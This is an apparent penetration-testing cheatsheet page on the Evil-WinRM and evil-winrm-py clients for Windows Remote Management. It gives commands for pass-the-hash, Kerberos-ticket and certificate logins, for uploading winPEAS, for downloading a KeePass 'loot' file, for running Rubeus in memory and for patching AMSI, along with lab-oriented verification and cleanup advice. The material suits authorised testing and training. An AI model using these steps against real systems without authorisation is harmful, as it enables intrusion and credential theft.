AD^:Active Directory

Evil-WinRM & evil-winrm-py

Connect over WinRM with passwords, NT hashes, Kerberos or certificates; distinguish client flags, endpoint permissions and file-transfer contexts.

intermediateupdated 2026-10-12evil-winrm · evil-winrm-py · netexec

Evil-WinRM & evil-winrm-py

WinRM (Windows Remote Management, HTTP 5985 / HTTPS 5986) is the remote-PowerShell service. A reachable WinRM listener, accepted authentication and endpoint authorization are all required. Remote Management Users or local Administrators membership often grants access, but endpoint ACLs and JEA policies can still restrict it. Always confirm access first — netexec winrm $IP -u user -p pass printing (Pwn3d!) means that account can log in here.

Two implementations, same job:

evil-winrm (Ruby, v4.1)evil-winrm-py (Python, v1.7)
Binaryevil-winrmevil-winrm-py
Password-p-p
NT hash (PtH)-H-H
Kerberos-r REALM (needs /etc/krb5.conf + KRB5CCNAME)-k (reads KRB5CCNAME)
Cert (PFX→PEM)-c pub.pem -k priv.pem -S--cert-pem/--priv-key-pem
Built-in upload/downloadyesyes
-s scripts / -e C# exe menuyesmenu-driven

Ruby uses -S for HTTPS; the Python client uses --ssl. Confirm the port independently: for Python use --ssl --port 5986, because its documented port default is 5985.

evil-winrm (Ruby) — the common one

# password
evil-winrm -i dc01.domain.htb -u user -p 'ExamplePassword!'

# pass-the-hash: NT hash only, no LM half needed
evil-winrm -i 10.10.11.42 -u administrator -H '<32-hex-NT-hash>'

# over HTTPS / 5986
evil-winrm -i target.htb -u user -p pass -S

# local scripts dir (so you can call Invoke-X from the session) + C# exe dir
evil-winrm -i target.htb -u user -p pass -s /opt/scripts/ -e /opt/exes/

# log the whole session to a file
evil-winrm -i target.htb -u user -p pass -l

Kerberos (needed when NTLM is disabled on the domain):

# 1. get a TGT into a ccache
getTGT.py domain.htb/user:pass          # or kinit user
export KRB5CCNAME=user.ccache
# 2. /etc/krb5.conf must map the realm; then:
evil-winrm -i dc01.domain.htb -u user -r DOMAIN.HTB
# use a .ccache/.kirbi directly:
evil-winrm -i dc01.domain.htb -u user -K user.ccache
FlagMeaning
-itarget IP/host (use the FQDN for Kerberos)
-u / -pusername / password
-HNT hash (pass-the-hash)
-Senable SSL (5986)
-r REALMKerberos auth (uppercase realm)
-K fileuse a ccache/kirbi ticket file
-c / -kpublic / private key cert for PtC (pair with -S)
-s DIR / -e DIRlocal PS script dir / C# exe dir to expose in-shell
-P PORTnon-default port
-llog session
-Ndisable remote path tab-completion (fixes a common hang)

In-shell commands (evil-winrm menu)

These are typed inside the *Evil-WinRM* PS > prompt, not in bash:

upload /opt/tools/winPEASx64.exe C:\Windows\Temp\p.exe   # local -> remote
download C:\Users\user\Desktop\loot.kdbx loot.kdbx        # remote -> local
menu                                                      # list loaded functions after -s / -e
Invoke-Binary /opt/exes/Rubeus.exe                        # run a C# exe from -e dir, in memory
Bypass-4MSI                                               # patch AMSI in the current session
services                                                  # list services + perms

[!tip] First move in any shell whoami /all then whoami /priv — SeImpersonatePrivilege / SeDebugPrivilege / SeBackupPrivilege are leads to investigate; exploitation depends on the token, service and host configuration. See Windows Privilege Escalation.

evil-winrm-py (Python) — hashes, Kerberos, certs

Cleaner Kerberos story (-k just reads KRB5CCNAME) and PEM-based cert auth. Same upload/download, menu-driven Invoke-Binary equivalent.

# password / hash
evil-winrm-py -i dc01.fluffy.htb -u winrm_svc -p 'Password!'
evil-winrm-py -i dc01.fluffy.htb -u winrm_svc -H '<32-hex-NT-hash>'

# Kerberos — ticket already in KRB5CCNAME
export KRB5CCNAME=user.ccache
evil-winrm-py -i dc01.domain.htb -u user -k --no-pass

# certificate (e.g. after certipy auth gives you a key+cert)
evil-winrm-py -i dc01.domain.htb -u administrator --cert-pem admin.crt --priv-key-pem admin.key --ssl --port 5986
FlagMeaning
-i / -u / -phost / user / password
-HNT hash
-kKerberos (uses KRB5CCNAME); pair with --no-pass
--cert-pem / --priv-key-pemPEM cert + key auth (pass-the-cert)
--ssl5986
--portcustom port
--spn-prefix / --spn-hostnameoverride Kerberos SPN (default HTTP/<host>)
-cJEA session configuration name
--loglog session

[!tip] PFX → PEM for cert auth Both clients want a separate cert and key in PEM. Split a .pfx with:

certipy cert -pfx administrator.pfx -nocert -out admin.key
certipy cert -pfx administrator.pfx -nokey  -out admin.crt

[!warning] Common failures

  • WinRMAuthorizationError / 401 on PtH — that account may lack endpoint permission, have the wrong hash, be affected by policy, or be using the wrong authentication transport. Re-check with netexec winrm (no Pwn3d! = no shell here).
  • Kerberos KRB_AP_ERR_SKEW — your clock is off the DC. sudo ntpdate <dc> (or faketime) before connecting.
  • Kerberos silently falls back / fails — you must use the DC FQDN with -i, the realm must be uppercase, and /etc/krb5.conf must resolve the KDC.
  • Shell hangs on tab / long paths — run Ruby evil-winrm with -N.

Establish the session before moving files

whoami
hostname
$PSVersionTable.PSVersion
Get-Location

Use these target-side commands to record the effective identity and shell location. upload reads a path on your attacking host; download reads a path on the Windows host. They are client commands, not PowerShell cmdlets.

If Kerberos login works but a second network hop fails, check ticket delegation and the remote service’s permissions. A WinRM session does not automatically carry reusable credentials to every other host. JEA can also expose only a limited command set.

Success: a command executes under the expected account on the expected host. A NetExec login banner or open port alone does not establish shell access. Retain a redacted session log, and record uploaded filenames for cleanup.

Identify the session before executing tools

At the remote PowerShell prompt:

hostname
whoami /all
$PSVersionTable
[Environment]::Is64BitProcess
Get-Location

WinRM authentication and permission to create a shell are separate checks. Remote Management Users membership is useful evidence, but endpoint ACLs and local/domain policy still decide whether the session opens. A WinRM process also has a different logon context from a desktop session, which can affect network access and user-store decryption.

Make file transfers verifiable

# Local workstation
sha256sum ./lab-proof.exe
evil-winrm -i host.example.test -u labuser

The Ruby client prompts when no password/hash is supplied. In the opened session:

upload ./lab-proof.exe C:\Lab\lab-proof.exe
Get-FileHash 'C:\Lab\lab-proof.exe' -Algorithm SHA256
Get-Item 'C:\Lab\lab-proof.exe' | Select-Object Length,FullName

Create the destination directory first if needed. Compare digests before treating a binary execution failure as a compatibility issue. The local path belongs to the client machine, while the destination belongs to the Windows host.

Diagnose the PowerShell second hop

Test-NetConnection files01.example.test -Port 445
whoami

If a remote share is reachable but access is denied, the WinRM session may lack delegated credentials for that second connection. A successful first-hop password login does not guarantee credential delegation. Test the required share with an explicitly selected approved identity or choose a direct client-side SMB transfer rather than changing domain delegation broadly.

Error matrix

Failure stageCheck
TCP connectionHost, 5985/5986, route and listener
TLS handshakeHTTPS switch, hostname and certificate trust
Authentication rejectedLocal/domain identity and supported password/hash/Kerberos/cert method
Auth succeeds, shell deniedEndpoint ACL and remote-logon policy
Kerberos failsFQDN, realm, SPN, cache and UTC time
Script loads but command is absentScope, function name, script prerequisites and client load mechanism
Process cannot executeArchitecture, runtime, file integrity and application controls

Complete the session cleanly

Stop any test background processes, remove transferred proof files and confirm that no directory/service changes remain. Keep the baseline, client variant/version, target FQDN and identity proof. For protocols outside WinRM use NetExec and smbclient rather than assuming the same account has the same rights everywhere.

See Also

  • NetExec — confirm (Pwn3d!) over winrm before launching a shell.
  • Impacket — getTGT.py / getST.py to build the ccache Kerberos auth needs.
  • Certipy — produces the PFX you split for cert auth.
  • Windows Privilege Escalation — where to go once the shell lands.

Sources

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.